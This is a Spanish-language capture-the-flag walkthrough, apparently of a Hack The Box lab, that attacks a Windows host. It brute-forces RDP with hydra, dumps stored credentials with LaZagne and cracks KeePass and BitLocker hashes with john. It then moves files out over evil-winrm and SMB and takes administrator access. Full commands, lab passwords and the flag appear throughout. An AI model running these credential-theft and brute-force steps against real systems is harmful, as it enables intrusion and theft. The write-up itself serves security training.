Al igual que con las evaluaciones anteriores, a nuestro cliente le gustaría asegurarse de que un atacante no pueda obtener acceso a ningún archivo confidencial en caso de un ataque exitoso. Mientras nuestros colegas estaban ocupados con otros hosts de la red, descubrimos que el usuario Johanna está presente en muchos hosts. Sin embargo, todavía no hemos podido determinar el propósito exacto o el motivo de esto.
Objetivo
Examina el tercer objetivo y envía el contenido de flag.txt en C:\Users\Administrator\Desktop\ como respuesta.
Observamos que tiene 6 puertos abiertos, 22, 139 y 445, que se corresponden con y SMB y RDP principalmente, por lo que centraremos el tiro en estos servicios.
Encontramos la carpeta compartida IPC$ que tenemos permisos de lectura. También encontramos la carpeta david, lo que nos indica que hay un usuario con ese nombre en el sistema.
No podemos acceder a ninguna carpeta compartida ni ver su contenido, por lo que vamos a probar a hacer bruteforce contra el servicio RDP.
Bruteforce de RDP
Vamos a probar el bruteforce de RDP contra el usuario johanna:
hydra -l johanna -P mut_password.list rdp://10.129.202.222 -t 48
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-04-22 19:28:53
[WARNING] rdp servers often don't like many connections, use -t 1 or -t 4 to reduce the number of parallel connections and -W 1 or -W 3 to wait between connection to allow the server to recover
[INFO] Reduced number of tasks to 4 (rdp does not like many parallel connections)
[WARNING] the rdp module is experimental. Please test, report - and if possible, fix.
[DATA] max 4 tasks per 1 server, overall 4 tasks, 94044 login tries (l:1/p:94044), ~23511 tries per task
[DATA] attacking rdp://10.129.202.222:3389/
[STATUS] 88.00 tries/min, 88 tries in 00:01h, 93957 to do in 17:48h, 3 active
[STATUS] 94.67 tries/min, 284 tries in 00:03h, 93761 to do in 16:31h, 3 active
[STATUS] 94.57 tries/min, 662 tries in 00:07h, 93383 to do in 16:28h, 3 active
[3389][rdp] host: 10.129.202.222 login: johanna password: 1231234!
Parece que utiliza la misma contraseña para acceder a SMB y RDP. Vamos a intentar conectarnos por RDP:
Buuumm! Conseguimos acceder correctamente, y podemos empezar a enumerar información. A simple vista parece que utiliza varios navegadores, por lo que podríamos usar Lazagne para intentar extraer contraseñas almacenadas.
Vamos a enviar el ejecutable de lazagne.exe de la siguiente manera:
En nuestro Kali Linux
afsh4ck@kali$ ls
lazagne lazagne.spec lazagne.exe releases laZagne.py
afsh4ck@kali$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
Una vez que tenemos lazagne en nuestra máquina objetivo, vamos a ejecutarlo de la siguiente manera:
PS C:\Users\johanna\Desktop> .\lazagne.exe all|====================================================================|||| The LaZagne Project ||||! BANG BANG !||||====================================================================|########## User: johanna ##########------------------- Keepassconfig passwords -----------------[+] Keyfile found !!!Keyfile: No keyfile foundDatabase: C:\Users\johanna\Documents\Logins.kdbxType: Password[+] 1 passwords have been found.For more information launch it again with the -v option
Lazagne nos encuentra 1 archivo .kdbx de KeePass con posibles contraseñas almacenadas:
Al introducir la contraseña que tenemos para RDP no funciona, por lo que tendremos que enumerar más información:
Keepass2john
Vamos a descargarnos este archivo Logins.kdbx y crackearlo con keepass2john:
evil-winrm -i 10.129.202.222 -u johanna -p 1231234!
*Evil-WinRM* PS C:\Users\johanna\Documents> ls
Directory: C:\Users\johanna\Documents
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 2/11/2022 2:13 AM 2126 Logins.kdbx
*Evil-WinRM* PS C:\Users\johanna\Documents> download Logins.kdbx
Info: Downloading C:\Users\johanna\Documents\Logins.kdbx to Logins.kdbx
Info: Download successful!
keepass2johnLogins.kdbx>keepass.hash
Vamos a usar el diccionario de contraseñas mutadas que hemos utilizado en toda esta sección para crackearlo:
john --wordlist=mut_password.list keepass.hash
Using default input encoding: UTF-8
Loaded 1 password hash (KeePass [SHA256 AES 32/64])
Cost 1 (iteration count) is 60000 for all loaded hashes
Cost 2 (version) is 2 for all loaded hashes
Cost 3 (algorithm [0=AES 1=TwoFish 2=ChaCha]) is 0 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Qwerty7! (Logins)
Buuum! Obtenemos la contraseña en plano para este archivo de Keepass: Qwerty7!
E voilá! Hemos obtenido la contraseña del usuario david. Click derecho > Copiar contraseña
User: david
Pass: gRzX7YbeTcDG7
Ahora que tenemos las credenciales de david, vamos a empezar a enumerar información
Enumeración de David
Podemos usar crackmapexec para ver las carpetas compartidas:
Vemos que ahora si, podemos acceder a la carpeta compartida david, con permisos de lectura.
smbclient -U david \\\\10.129.202.222\\david
Password for [WORKGROUP\david]:
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Fri Feb 11 11:43:03 2022
.. D 0 Fri Feb 11 11:43:03 2022
Backup.vhd A 136315392 Fri Feb 11 13:16:12 2022
10328063 blocks of size 4096. 6115916 blocks available
smb: \> get Backup.vhd
getting file \Backup.vhd of size 136315392 as Backup.vhd (3411,2 KiloBytes/sec) (average 3411,2 KiloBytes/sec)
smb: \>
Encontramos un archivo de backup que puede contener información valiosa. Vamos a descargarlo.
Como vemos es un archivo cifrado, y para crackear este tipo de archivo necesitamos bitlocker2john.
john --wordlist=mut_password.list backup.hash
Note: This format may emit false positives, so it will keep trying even after finding a possible candidate.
Using default input encoding: UTF-8
Loaded 1 password hash (BitLocker, BitLocker [SHA-256 AES 32/64])
Cost 1 (iteration count) is 1048576 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
123456789! (?)
Obtenemos la contraseña en plano y ya podemos montar esta unidad virtual. Necesitamos montarlo en un sistema windows, por lo que necesitamos acceder por RDP, transferir el archivo de Backup y lo montarlo.
También he encontrado el siguiente artículo donde explica como montarlo en sistemas Linux:
Montaje de Backup.vhd
Podemos montarlo en cualquier VM Windows de la siguiente manera:
afsh4ck@kali$ ls
backup.hash backup.hashes Backup.vhd keepass.hash Logins.kdbx mut_password.list password.list username.list
afsh4ck@kali$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
Nos consigue crackear correctamente 2 hashes, que se corresponden con los usuarios johanna y administrator!
johanna: 1231234!
administrator: Liverp00l8!
Acceso Root
evil-winrm -i 10.129.202.222-u administrator -p Liverp00l8!Evil-WinRM shell v3.5Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completionInfo: Establishing connection to remote endpoint*Evil-WinRM* PS C:\Users\Administrator\Documents> cd ..*Evil-WinRM* PS C:\Users\Administrator> cd desktop*Evil-WinRM* PS C:\Users\Administrator\desktop> ls Directory: C:\Users\Administrator\desktopMode LastWriteTime Length Name----------------------------ar---2/11/20222:42 AM 1348 BitLocker Recovery Key.TXT-a----2/11/20224:29 AM 21 flag.txt.txt-a----2/10/20221:34 PM 951 KeePass 2.lnk*Evil-WinRM* PS C:\Users\Administrator\desktop> cat flag.txt.txtHTB{PWcr4ck1ngokokok}